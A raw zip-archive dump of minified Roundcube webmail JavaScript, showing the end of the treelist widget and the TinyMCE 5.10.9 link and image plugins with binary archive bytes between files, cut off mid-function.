t=s.selectable?h[N($(this))]:null;t&&(t.virtual||A(t.id),e.stopPropagation())}).on("mousedown","a",function(e){var t=$(e.target),r=h[N(t.closest("li"))];if(r&&r.virtual&&!t.attr("href"))return e.preventDefault(),e.stopPropagation(),!1}),s.searchbox&&(t=$(s.searchbox).off("keyup.treelist").on("keyup.treelist",function(e){var t=rcube_event.get_keycode(e);rcube_event.get_modifier(e);switch(t){case 9:break;case 13:return q(this.value,!0),rcube_event.cancel(e);case 27:R();break;case 38:case 37:case 39:case 40:return;default:q(this.value,!1)}}).attr("autocomplete","off")).parent().find("a.reset").off("click.treelist").on("click.treelist",function(e){return R(),!1}),$(document.body).on("keydown",function(e){var t,r,i=e.target||{},l=rcube_event.get_keycode(e);if(m&&("INPUT"!=i.nodeName||38==l||40==l)&&"TEXTAREA"!=i.nodeName&&"SELECT"!=i.nodeName)switch(l){case 38:case 40:case 63232:case 63233:return(t=s.keyboard?f.find(":focus").closest("li"):[]).length&&function e(t,r,i){var l=r<0?"prev":"next",l=t[l]();0<r&&!i&&t.children("ul[role=group]:visible").length?t.children("ul").children("li").first().find("a").first().focus():r<0&&!i&&l.children("ul[role=group]:visible").length?l.children("ul").children("li").last().find("a").first().focus():l.length&&l.find("a").first().focus().length||(i=t.parent().closest("li[role=treeitem]")).length&&(r<0?i.find("a").first().focus():e(i,r,!0))}(t,mod=38==l||63232==l?-1:1),rcube_event.cancel(e);case 37:case 39:return(t=f.find(":focus").closest("li")).length&&(t=N(t),r=h[t])&&r.children.length&&r.collapsed!=(37==l)&&L(t,rcube_event.get_modifier(e)==SHIFT_KEY),!1;case 9:s.keyboard&&s.tabexit&&(r=rcube_event.get_modifier(e)==SHIFT_KEY?"first":"last",function(e){{var t,r;e.length&&(t=f.parent().get(0)||{scrollTop:0},r=t.scrollTop||t.scrollY,e.focus(),t.scrollTop=r)}}(f.find("li[role=treeitem]:has(a)")[r]().find("a:"+r)))}return!0}),s.parent_focus)&&f.parent(":not(body)").click(function(e){if($(e.target).is("input"))return!0;!m&&p?$(I(p)).find(":focusable").first().focus():m||f.children("li").find(":focusable").first().focus()})}rcube_treelist_widget.prototype.addEventListener=rcube_event_engine.prototype.addEventListener,rcube_treelist_widget.prototype.removeEventListener=rcube_event_engine.prototype.removeEventListener,rcube_treelist_widget.prototype.triggerEvent=rcube_event_engine.prototype.triggerEvent;
PK
h�\¥q=q=-program/js/tinymce/plugins/link/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function t(r){return function(t){return e=typeof(n=t),(null===n?"null":"object"==e&&(Array.prototype.isPrototypeOf(n)||n.constructor&&"Array"===n.constructor.name)?"array":"object"==e&&(String.prototype.isPrototypeOf(n)||n.constructor&&"String"===n.constructor.name)?"string":e)===r;var n,e}}function n(n){return function(t){return typeof t===n}}function h(){}function i(t){return function(){return t}}function e(t){return t}function r(t,n){return t===n}function o(){return v}var u,a=tinymce.util.Tools.resolve("tinymce.PluginManager"),c=tinymce.util.Tools.resolve("tinymce.util.VK"),l=t("string"),d=t("array"),p=function(t){return u===t},f=n("boolean"),s=n("function"),m=i(!1),g=i(!(u=null)),v={fold:function(t,n){return t()},isSome:m,isNone:g,getOr:e,getOrThunk:y,getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:e,orThunk:y,map:o,each:h,bind:o,exists:m,forall:g,filter:function(){return v},toArray:function(){return[]},toString:i("none()")};function y(t){return t()}function k(t,o,i){return function(t){for(var n,e=0,r=t.length;e<r;e++)n=t[e],i=o(i,n,e)}(t),i}function x(t){for(var n=[],e=0,r=t.length;e<r;++e){if(!d(t[e]))throw new Error("Arr.flatten item "+e+" was not an array, input: "+t);at.apply(n,t[e])}return n}function b(t,n){for(var e=0;e<t.length;e++){var r=n(t[e],e);if(r.isSome())return r}return it.none()}function O(t,n,e){return void 0===e&&(e=r),t.exists(function(t){return e(t,n)})}function w(t,n){return t?it.some(n):it.none()}function C(t){var n=t.getParam("link_assume_external_targets",!1);return f(n)&&n?1:!l(n)||"http"!==n&&"https"!==n?0:n}function N(t){return t.getParam("default_link_target")}function A(t){return t.getParam("target_list",!0)}function T(t){return t.getParam("rel_list",[],"array")}function P(t){return t.getParam("allow_unsafe_link_target",!1,"boolean")}function S(t){return l(t.value)?t.value:""}function _(n){return void 0===n&&(n=S),function(t){return it.from(t).map(function(t){return ct(t,n)})}}function R(t,i,u,a){return function(t){for(var n=mt(t),e=0,r=n.length;e<r;e++){var o=n[e];!function(t,n){(i(t,n)?u:a)(t,n)}(t[o],o)}}(t),1}function D(t,n){return gt.call(t,n)}function L(t){return t&&"a"===t.nodeName.toLowerCase()}function E(t){return L(t)&&!!pt(t)}function M(t,n){if(t.collapsed)return[];for(var e=t.cloneContents(),r=new dt(e.firstChild,e),o=[],i=e.firstChild;n(i)&&o.push(i),i=r.next(););return o}function U(t){return/^\w+:/i.test(t)}function B(t,n){function e(t){return t.filter(function(t){return-1===lt.inArray(o,t)})}var r,o=["noopener"],i=t?t.split(/\s+/):[],u=n?0<(r=e(r=i)).length?r.concat(o):o:e(i);return 0<u.length?lt.trim(u.sort().join(" ")):""}function I(t,n){return n=n||t.selection.getNode(),vt(n)?t.dom.select("a[href]",n)[0]:t.dom.getParent(n,"a[href]")}function K(t,n){return(n?n.innerText||n.textContent:t.getContent({format:"text"})).replace(/\uFEFF/g,"")}function z(t){return 0<lt.grep(t,E).length}function j(t){var n=t.schema.getTextInlineElements();return 0===M(t.selection.getRng(),function(t){return 1===t.nodeType&&!L(t)&&!D(n,t.nodeName.toLowerCase())}).length}function V(l,c,f){var t,n,e,r,o,i,u,s=l.selection.getNode(),m=I(l,s),g=(n=l,e=k(["title","rel","class","target"],function(n,e){return t[e].each(function(t){n[e]=0<t.length?t:null}),n},{href:(t=f).href}),u=st({},e),0<T(n).length||!1!==P(n)||(r=B(u.rel,"_blank"===u.target),u.rel=r||null),it.from(u.target).isNone()&&!1===A(n)&&(u.target=N(n)),u.href=(o=u.href,"http"!==(i=C(n))&&"https"!==i||U(o)?o:i+"://"+o),u);l.undoManager.transact(function(){var n,t,e,r,o,i,u,a;f.href===c.href&&c.attach(),m?(l.focus(),o=l,i=m,u=f.text,a=g,u.each(function(t){D(i,"innerText")?i.innerText=t:i.textContent=t}),o.dom.setAttribs(i,a),o.selection.select(i)):(n=l,e=f.text,r=g,vt(t=s)?kt(n,t,r):e.fold(function(){n.execCommand("mceInsertLink",!1,r)},function(t){n.insertContent(n.dom.createHTML("a",r,n.dom.encode(t)))}))})}function q(t,n,e){var r,o,i,u,a,l,c,f,s,m,g=(r=t,o=e.href,st(st({},e),{href:ht.isDomSafe(o,"a",r.settings)?o:""}));t.hasPlugin("rtc",!0)?t.execCommand("createlink",!1,(a=g.class,l=g.href,c=g.rel,f=g.target,s=g.text,m=g.title,R({class:a.getOrNull(),href:l,rel:c.getOrNull(),target:f.getOrNull(),text:s.getOrNull(),title:m.getOrNull()},function(t,n){return!1===p(t)},(i=u={},function(t,n){i[n]=t}),h),u)):V(t,n,g)}function F(t){var l;t.hasPlugin("rtc",!0)?t.execCommand("unlink"):(l=t).undoManager.transact(function(){var t,n,e,r,o,i,u,a=l.selection.getNode();vt(a)?yt(l,a):(n=(t=l).dom,r=(e=t.selection).getBookmark(),o=e.getRng().cloneRange(),i=n.getParent(o.startContainer,"a[href]",t.getBody()),u=n.getParent(o.endContainer,"a[href]",t.getBody()),i&&o.setStartBefore(i),u&&o.setEndAfter(u),e.setRng(o),t.execCommand("unlink"),e.moveToBookmark(r)),l.focus()})}function W(t){var n=t.href;return 0<n.indexOf("@")&&-1===n.indexOf("/")&&-1===n.indexOf("mailto:")?it.some({message:"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",preprocess:function(t){return st(st({},t),{href:"mailto:"+n})}}):it.none()}function H(t,n,e){var r=t.getAttrib(n,e);return null!==r&&0<r.length?it.some(r):it.none()}function G(d){var t,n=I(t=d);Tt(t,n).then(function(t){var n,e,i,u,r=function(t){var e=t.getData();if(!e.url.value)return F(i),void t.close();function n(n){return it.from(e[n]).filter(function(t){return!O(u.anchor[n],t)})}var r={href:e.url.value,text:n("text"),target:n("target"),rel:n("rel"),class:n("linkClass"),title:n("title")},o={href:e.url.value,attach:void 0!==e.url.meta&&e.url.meta.attach?e.url.meta.attach:h};Ct(i,r).then(function(t){q(i,o,t)}),t.close()},o=i=d,a=(n=u=t).anchor.text.map(function(){return{name:"text",type:"input",label:"Text to display"}}).toArray(),l=n.flags.titleEnabled?[{name:"title",type:"input",label:"Title"}]:[],c=it.from(N(o)),f=n.anchor,s={url:{value:e=f.url.getOr(""),meta:{original:{value:e}}},text:f.text.getOr(""),title:f.title.getOr(""),anchor:e,link:e,rel:f.rel.getOr(""),target:f.target.or(c).getOr(""),linkClass:f.linkClass.getOr("")},m=n.catalogs,g=bt(s,m);return{title:"Insert/Edit Link",size:"normal",body:{type:"panel",items:x([[{name:"url",type:"urlinput",filetype:"file",label:"URL"}],a,l,function(t){for(var n=[],e=function(t){n.push(t)},r=0;r<t.length;r++)t[r].each(e);return n}([m.anchor.map(ft.createUi("anchor","Anchors")),m.rels.map(ft.createUi("rel","Rel")),m.targets.map(ft.createUi("target","Open link in...")),m.link.map(ft.createUi("link","Link list")),m.classes.map(ft.createUi("linkClass","Class"))])])},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:s,onChange:function(n,t){var e=t.name;g.onChange(n.getData,{name:e}).each(function(t){n.setData(t)})},onSubmit:r}}).then(function(t){d.windowManager.open(t)})}function J(t,n){return t.dom.getParent(n,"a[href]")}function X(t){return J(t,t.selection.getStart())}function $(t,n){var e,r;n&&(e=pt(n),/^#/.test(e)?(r=t.$(e)).length&&t.selection.scrollIntoView(r[0],!0):function(t){var n=document.createElement("a");n.target="_blank",n.href=t,n.rel="noreferrer noopener";var e,r,o=document.createEvent("MouseEvents");o.initMouseEvent("click",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),e=n,r=o,document.body.appendChild(e),e.dispatchEvent(r),document.body.removeChild(e)}(n.href))}function Q(t){return function(){G(t)}}function Y(t){return function(){$(t,X(t))}}function Z(t,n){return t.on("NodeChange",n),function(){return t.off("NodeChange",n)}}function tt(e){return function(t){function n(){return t.setActive(!e.mode.isReadOnly()&&null!==I(e,e.selection.getNode()))}return n(),Z(e,n)}}function nt(e){return function(t){function n(){return t.setDisabled(null===I(e,e.selection.getNode()))}return n(),Z(e,n)}}function et(r){return function(n){function e(t){return z(t)||0<M(r.selection.getRng(),E).length}var t=r.dom.getParents(r.selection.getStart());return n.setDisabled(!e(t)),Z(r,function(t){return n.setDisabled(!e(t.parents))})}}function rt(t){var n=x(function(t,n){for(var e=t.length,r=new Array(e),o=0;o<e;o++){var i=t[o];r[o]=n(i,o)}return r}(t.dom.select("a:not([href])"),function(t){var n=t.name||t.id;return n?[{text:n,value:"#"+n}]:[]}));return 0<n.length?it.some([{text:"None",value:""}].concat(n)):it.none()}var ot=function(e){function t(){return o}function n(t){return t(e)}var r=i(e),o={fold:function(t,n){return n(e)},isSome:g,isNone:m,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:t,orThunk:t,map:function(t){return ot(t(e))},each:function(t){t(e)},bind:n,exists:n,forall:n,filter:function(t){return t(e)?o:v},toArray:function(){return[e]},toString:function(){return"some("+e+")"}};return o},it={some:ot,none:o,from:function(t){return null==t?v:ot(t)}},ut=Array.prototype.indexOf,at=Array.prototype.push,lt=tinymce.util.Tools.resolve("tinymce.util.Tools"),ct=function(t,i){var u=[];return lt.each(t,function(t){var n,e,r,o=l((n=t).text)?n.text:l(n.title)?n.title:"";void 0!==t.menu?(e=ct(t.menu,i),u.push({text:o,items:e})):(r=i(t),u.push({text:o,value:r}))}),u},ft={sanitize:function(t){return _(S)(t)},sanitizeWith:_,createUi:function(n,e){return function(t){return{name:n,type:"listbox",label:e,items:t}}},getValue:S},st=function(){return(st=Object.assign||function(t){for(var n,e=1,r=arguments.length;e<r;e++)for(var o in n=arguments[e])Object.prototype.hasOwnProperty.call(n,o)&&(t[o]=n[o]);return t}).apply(this,arguments)},mt=Object.keys,gt=Object.hasOwnProperty,dt=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),ht=tinymce.util.Tools.resolve("tinymce.util.URI"),pt=function(t){return t.getAttribute("data-mce-href")||t.getAttribute("href")},vt=function(t){return t&&"FIGURE"===t.nodeName&&/\bimage\b/i.test(t.className)},yt=function(t,n){var e,r=t.dom.select("img",n)[0];!r||(e=t.dom.getParents(r,"a[href]",n)[0])&&(e.parentNode.insertBefore(r,e),t.dom.remove(e))},kt=function(t,n,e){var r,o=t.dom.select("img",n)[0];o&&(r=t.dom.create("a",e),o.parentNode.insertBefore(r,o),r.appendChild(o))},xt=function(e,t){return b(t,function(t){return D(n=t,"items")&&void 0!==n.items&&null!==n.items?xt(e,t.items):w(t.value===e,t);var n})},bt=function(t,c){function f(t,n){var e,r,o,i,u,a,l=("link"===(e=n.name)?c.link:"anchor"===e?c.anchor:it.none()).getOr([]);return r=s.text,o=n.name,i=l,u=t[o],a=0<r.length,void 0!==u?xt(u,i).map(function(t){return{url:{value:t.value,meta:{text:a?r:t.text,attach:h}},text:a?r:t.text}}):it.none()}var s={text:t.text,title:t.title};return{onChange:function(t,n){var e,r,o,i,u,a,l=n.name;return"url"===l?(r=t(),o=r.url,u=w(s.text.length<=0,it.from(o.meta.text).getOr(o.value)),i=r.url,a=w(s.title.length<=0,it.from(i.meta.title).getOr("")),u.isSome()||a.isSome()?it.some(st(st({},u.map(function(t){return{text:t}}).getOr({})),a.map(function(t){return{title:t}}).getOr({}))):it.none()):(e=["anchor","link"],-1<ut.call(e,l)?f(t(),n):("text"!==l&&"title"!==l||(s[l]=t()[l]),it.none()))}}},Ot=tinymce.util.Tools.resolve("tinymce.util.Delay"),wt=tinymce.util.Tools.resolve("tinymce.util.Promise"),Ct=function(u,a){return b([W,(e=C(u),r=u.getParam("link_default_protocol","http","string"),function(t){var n=t.href;return 1===e&&!U(n)||0===e&&/^\s*www(\.|\d\.)/i.test(n)?it.some({message:"The URL you entered seems to be an external link. Do you want to add the required "+r+":// prefix?",preprocess:function(t){return st(st({},t),{href:r+"://"+n})}}):it.none()})],function(t){return t(a)}).fold(function(){return wt.resolve(a)},function(i){return new wt(function(n){var e=u,t=i.message,r=function(t){n(t?i.preprocess(a):a)},o=e.selection.getRng();Ot.setEditorTimeout(e,function(){e.windowManager.confirm(t,function(t){e.selection.setRng(o),r(t)})})})});var e,r},Nt=tinymce.util.Tools.resolve("tinymce.util.XHR"),At=[{text:"Current window",value:""},{text:"New window",value:"_blank"}],Tt=function(m,g){return t=(e=m).getParam("link_list"),new wt(function(n){l(t)?Nt.send({url:t,success:function(t){return n(function(t){try{return it.some(JSON.parse(t))}catch(t){return it.none()}}(t))},error:function(t){return n(it.none())}}):s(t)?t(function(t){return n(it.some(t))}):n(it.from(t))}).then(function(t){return t.bind(ft.sanitizeWith(n)).map(function(t){return 0<t.length?[{text:"None",value:""}].concat(t):t})}).then(function(t){var n,e,r,o,i,u,a,l,c,f,s=(e=g,r=(n=m).dom,o=j(n)?it.some(K(n.selection,e)):it.none(),i=e?it.some(r.getAttrib(e,"href")):it.none(),u=e?it.from(r.getAttrib(e,"target")):it.none(),a=H(r,e,"rel"),l=H(r,e,"class"),{url:i,text:o,title:H(r,e,"title"),target:u,rel:a,linkClass:l});return{anchor:s,catalogs:{targets:(f=A(m),d(f)?ft.sanitize(f).orThunk(function(){return it.some(At)}):!1===f?it.none():it.some(At)),rels:function(t,n){var e=T(t);if(0<e.length){var r=O(n,"_blank");return(!1===P(t)?ft.sanitizeWith(function(t){return B(ft.getValue(t),r)}):ft.sanitize)(e)}return it.none()}(m,s.target),classes:0<(c=m.getParam("link_class_list",[],"array")).length?ft.sanitize(c):it.none(),anchor:rt(m),link:t},optNode:it.from(g),flags:{titleEnabled:m.getParam("link_title",!0,"boolean")}}});function n(t){return e.convertURL(t.value||t.url,"href")}var e,t};a.add("link",function(t){var n,e,r,o,i,u,a;function l(t){var n=a.selection.getNode();return t.setDisabled(!I(a,n)),h}(n=t).ui.registry.addToggleButton("link",{icon:"link",tooltip:"Insert/edit link",onAction:Q(n),onSetup:tt(n)}),n.ui.registry.addButton("openlink",{icon:"new-tab",tooltip:"Open link",onAction:Y(n),onSetup:nt(n)}),n.ui.registry.addButton("unlink",{icon:"unlink",tooltip:"Remove link",onAction:function(){return F(n)},onSetup:et(n)}),(e=t).ui.registry.addMenuItem("openlink",{text:"Open link",icon:"new-tab",onAction:Y(e),onSetup:nt(e)}),e.ui.registry.addMenuItem("link",{icon:"link",text:"Link...",shortcut:"Meta+K",onAction:Q(e)}),e.ui.registry.addMenuItem("unlink",{icon:"unlink",text:"Remove link",onAction:function(){return F(e)},onSetup:et(e)}),(r=t).ui.registry.addContextMenu("link",{update:function(t){return z(r.dom.getParents(t,"a"))?"link unlink openlink":"link"}}),(a=t).ui.registry.addContextForm("quicklink",{launch:{type:"contextformtogglebutton",icon:"link",tooltip:"Link",onSetup:tt(a)},label:"Link",predicate:function(t){return!!I(a,t)&&a.getParam("link_context_toolbar",!1,"boolean")},initValue:function(){var t=I(a);return t?pt(t):""},commands:[{type:"contextformtogglebutton",icon:"link",tooltip:"Link",primary:!0,onSetup:function(t){var n=a.selection.getNode();return t.setActive(!!I(a,n)),tt(a)(t)},onAction:function(t){var n=t.getValue(),e=function(t){var n=I(a),e=j(a);if(n||!e)return it.none();var r=K(a.selection,n);return it.some(0<r.length?r:t)}(n);q(a,{href:n,attach:h},{href:n,text:e,title:it.none(),rel:it.none(),target:it.none(),class:it.none()}),a.selection.collapse(!1),t.hide()}},{type:"contextformbutton",icon:"unlink",tooltip:"Remove link",onSetup:l,onAction:function(t){F(a),t.hide()}},{type:"contextformbutton",icon:"new-tab",tooltip:"Open link",onSetup:l,onAction:function(t){Y(a)(),t.hide()}}]}),(u=t).on("click",function(t){var n=J(u,t.target);n&&c.metaKeyPressed(t)&&(t.preventDefault(),$(u,n))}),u.on("keydown",function(t){var n=X(u);n&&13===t.keyCode&&!0===t.altKey&&!1===t.shiftKey&&!1===t.ctrlKey&&!1===t.metaKey&&(t.preventDefault(),$(u,n))}),(o=t).addCommand("mceLink",function(){o.getParam("link_quicklink",!1,"boolean")?o.fire("contexttoolbar-show",{toolbarKey:"quicklink"}):Q(o)()}),(i=t).addShortcut("Meta+K","",function(){i.execCommand("mceLink")})})}();PK
h�\��+��N�N.program/js/tinymce/plugins/image/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function e(r){return function(e){return n=typeof(t=e),(null===t?"null":"object"==n&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":n)===r;var t,n}}function t(t){return function(e){return typeof e===t}}function D(e){return!(null==e)}function l(){}function a(e){return function(){return e}}function n(e){return e}function r(){return g}var i,o=tinymce.util.Tools.resolve("tinymce.PluginManager"),v=function(){return(v=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e}).apply(this,arguments)},T=e("string"),s=e("object"),c=e("array"),N=t("boolean"),w=t("function"),u=t("number"),m=a(!1),d=a(!(i=null)),g={fold:function(e,t){return e()},isSome:m,isNone:d,getOr:n,getOrThunk:p,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:a(null),getOrUndefined:a(void 0),or:n,orThunk:p,map:r,each:l,bind:r,exists:m,forall:d,filter:function(){return g},toArray:function(){return[]},toString:a("none()")};function p(e){return e()}function f(e,a,o,l){return function(e){for(var t=y(e),n=0,r=t.length;n<r;n++){var i=t[n];!function(e,t){(a(e,t)?o:l)(e,t)}(e[i],i)}}(e),1}function h(e,t){return A.call(e,t)}function S(e){for(var t=[],n=0,r=e.length;n<r;++n){if(!c(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);U.apply(t,e[n])}return t}var b=function(n){function e(){return i}function t(e){return e(n)}var r=a(n),i={fold:function(e,t){return t(n)},isSome:d,isNone:m,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:e,orThunk:e,map:function(e){return b(e(n))},each:function(e){e(n)},bind:t,exists:t,forall:t,filter:function(e){return e(n)?i:g},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return i},L={some:b,none:r,from:function(e){return null==e?g:b(e)}},y=Object.keys,A=Object.hasOwnProperty,U=Array.prototype.push;function I(e,t,n){!function(e,t,n){if(!(T(n)||N(n)||u(n)))throw console.error("Invalid call to Attribute.set. Key ",t,":: Value ",n,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(t,n+"")}(e.dom,t,n)}function C(e){return e.getParam("image_dimensions",!0,"boolean")}function x(e,t){return Math.max(parseInt(e,10),parseInt(t,10))}function O(e){return e&&e.replace(/px$/,"")}function P(e){return 0<e.length&&/^[0-9]+$/.test(e)&&(e+="px"),e}function _(e){if(e.margin){var t=String(e.margin).split(" ");switch(t.length){case 1:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[0],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[0];break;case 2:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[1];break;case 3:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[1];break;case 4:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[3]}delete e.margin}return e}function E(e){return"IMG"===e.nodeName&&(e.hasAttribute("data-mce-object")||e.hasAttribute("data-mce-placeholder"))}function R(e,t){return we.isDomSafe(t,"img",e.settings)}function k(e){return e.style.marginLeft&&e.style.marginRight&&e.style.marginLeft===e.style.marginRight?O(e.style.marginLeft):""}function z(e){return e.style.marginTop&&e.style.marginBottom&&e.style.marginTop===e.style.marginBottom?O(e.style.marginTop):""}function M(e){return e.style.borderWidth?O(e.style.borderWidth):""}function j(e,t){return e.hasAttribute(t)?e.getAttribute(t):""}function B(e,t){return e.style[t]||""}function H(e){return null!==e.parentNode&&"FIGURE"===e.parentNode.nodeName}function F(e,t,n){""===n?e.removeAttribute(t):e.setAttribute(t,n)}function G(e,t){var n=e.getAttribute("style"),r=t(null!==n?n:"");0<r.length?(e.setAttribute("style",r),e.setAttribute("data-mce-style",r)):e.removeAttribute("style")}function W(e,r){return function(e,t,n){e.style[t]?(e.style[t]=P(n),G(e,r)):F(e,t,n)}}function V(e,t){return e.style[t]?O(e.style[t]):j(e,t)}function $(e,t){var n=P(t);e.style.marginLeft=n,e.style.marginRight=n}function J(e,t){var n=P(t);e.style.marginTop=n,e.style.marginBottom=n}function K(e,t){var n=P(t);e.style.borderWidth=n}function X(e,t){e.style.borderStyle=t}function Z(e){return"FIGURE"===e.nodeName}function q(e){return 0===Ue.getAttrib(e,"alt").length&&"presentation"===Ue.getAttrib(e,"role")}function Q(){return{src:"",alt:"",title:"",width:"",height:"",class:"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:"",isDecorative:!1}}function Y(e,t){return{src:j(t,"src"),alt:q(n=t)?"":j(n,"alt"),title:j(t,"title"),width:V(t,"width"),height:V(t,"height"),class:j(t,"class"),style:e(j(t,"style")),caption:H(t),hspace:k(t),vspace:z(t),border:M(t),borderStyle:B(t,"borderStyle"),isDecorative:q(t)};var n}function ee(e,t,n,r,i){n[r]!==t[r]&&i(e,r,n[r])}function te(r,i){return function(e,t,n){r(e,n),G(e,i)}}function ne(e,t){var n=_(e.dom.styles.parse(t)),r=e.dom.styles.parse(e.dom.styles.serialize(n));return e.dom.styles.serialize(r)}function re(e){var t=e.selection.getNode(),n=e.dom.getParent(t,"figure.image");return n?e.dom.select("img",n)[0]:t&&("IMG"!==t.nodeName||E(t))?null:t}function ie(n,e){var r,t,i=n.dom,a=(f(n.schema.getTextBlockElements(),function(e,t){return!n.schema.isValidChild(t,"figure")},(r=t={},function(e,t){r[t]=e}),l),t),o=i.getParent(e.parentNode,function(e){return h(t=a,n=e.nodeName)&&null!=t[n];var t,n},n.getBody());return o?i.split(o,e):e}function ae(r,e){var t=function(e){var t=document.createElement("img");if(Ce(function(e){return ne(r,e)},v(v({},e),{caption:!1}),t),Ie(t,e.alt,e.isDecorative),e.caption){var n=Ue.create("figure",{class:"image"});return n.appendChild(t),n.appendChild(Ue.create("figcaption",{contentEditable:"true"},"Caption")),n.contentEditable="false",n}return t}(e);r.dom.setAttrib(t,"data-mce-id","__mcenew"),r.focus(),r.selection.setContent(t.outerHTML);var n,i=r.dom.select('*[data-mce-id="__mcenew"]')[0];r.dom.setAttrib(i,"data-mce-id",null),Z(i)?(n=ie(r,i),r.selection.select(n)):r.selection.select(i)}function oe(t,e){var n,r,i,a,o,l,s,c,u,m,d,g,p,f,h,b=re(t);function y(){f.onload=f.onerror=null,g.selection&&(g.selection.select(f),g.nodeChanged())}b?(n=Y(function(e){return ne(t,e)},b),r=v(v({},n),e),s=t,c=r.src,i=v(v({},r),{src:R(s,c)?c:""}),r.src?(m=i,h=re(u=t),Ce(function(e){return ne(u,e)},m,h),u.dom.setAttrib(h,"src",h.getAttribute("src")),Z(h.parentNode)?(d=h.parentNode,ie(u,d),u.selection.select(h.parentNode)):(u.selection.select(h),g=u,p=m,(f=h).onload=function(){p.width||p.height||!C(g)||g.dom.setAttribs(f,{width:String(f.clientWidth),height:String(f.clientHeight)}),y()},f.onerror=y)):(a=t,(o=b)&&(l=a.dom.is(o.parentNode,"figure.image")?o.parentNode:o,a.dom.remove(l),a.focus(),a.nodeChanged(),a.dom.isEmpty(a.getBody())&&(a.setContent(""),a.selection.setCursorLocation())))):e.src&&ae(t,v(v({},Q()),e))}function le(e){return T(e.value)?e.value:""}function se(t){return void 0===t&&(t=le),function(e){return e?L.from(e).map(function(e){return Ne(e,t)}):L.none()}}function ce(e){var t=e.imageList.map(function(e){return{name:"images",type:"listbox",label:"Image list",items:e}}),n={name:"alt",type:"input",label:"Alternative description",disabled:e.hasAccessibilityOptions&&e.image.isDecorative},r=e.classList.map(function(e){return{name:"classes",type:"listbox",label:"Class",items:e}});return S([[{name:"src",type:"urlinput",filetype:"image",label:"Source"}],t.toArray(),e.hasAccessibilityOptions&&e.hasDescription?[{type:"label",label:"Accessibility",items:[{name:"isDecorative",type:"checkbox",label:"Image is decorative"}]}]:[],e.hasDescription?[n]:[],e.hasImageTitle?[{name:"title",type:"input",label:"Image title"}]:[],e.hasDimensions?[{name:"dimensions",type:"sizeinput"}]:[],[v(v({},e.classList.isSome()&&e.hasImageCaption?{type:"grid",columns:2}:{type:"panel"}),{items:S([r.toArray(),e.hasImageCaption?[{type:"label",label:"Caption",items:[{type:"checkbox",name:"caption",label:"Show caption"}]}]:[]])})]])}function ue(e){return{src:{value:e.src,meta:{}},images:e.src,alt:e.alt,title:e.title,dimensions:{width:e.width,height:e.height},classes:e.class,caption:e.caption,style:e.style,vspace:e.vspace,border:e.border,hspace:e.hspace,borderstyle:e.borderStyle,fileinput:[],isDecorative:e.isDecorative}}function me(e,t){return{src:e.src.value,alt:0===e.alt.length&&t?null:e.alt,title:e.title,width:e.dimensions.width,height:e.dimensions.height,class:e.classes,style:e.style,caption:e.caption,hspace:e.hspace,vspace:e.vspace,border:e.border,borderStyle:e.borderstyle,isDecorative:e.isDecorative}}function de(e,t,n,r){var i,a,o,l,s,c,u,m,d,g,p,f,h,b,y,v,A,D,w,S,U,I,C,x,O;U=t,C=(I=r).getData(),x=U,O=C.src.value,(/^(?:[a-zA-Z]+:)?\/\//.test(O)?L.none():x.prependURL.bind(function(e){return O.substring(0,e.length)!==e?L.some(e+O):L.none()})).each(function(e){I.setData({src:{value:e,meta:C.src.meta}})}),h=t,w=(b=r).getData(),void 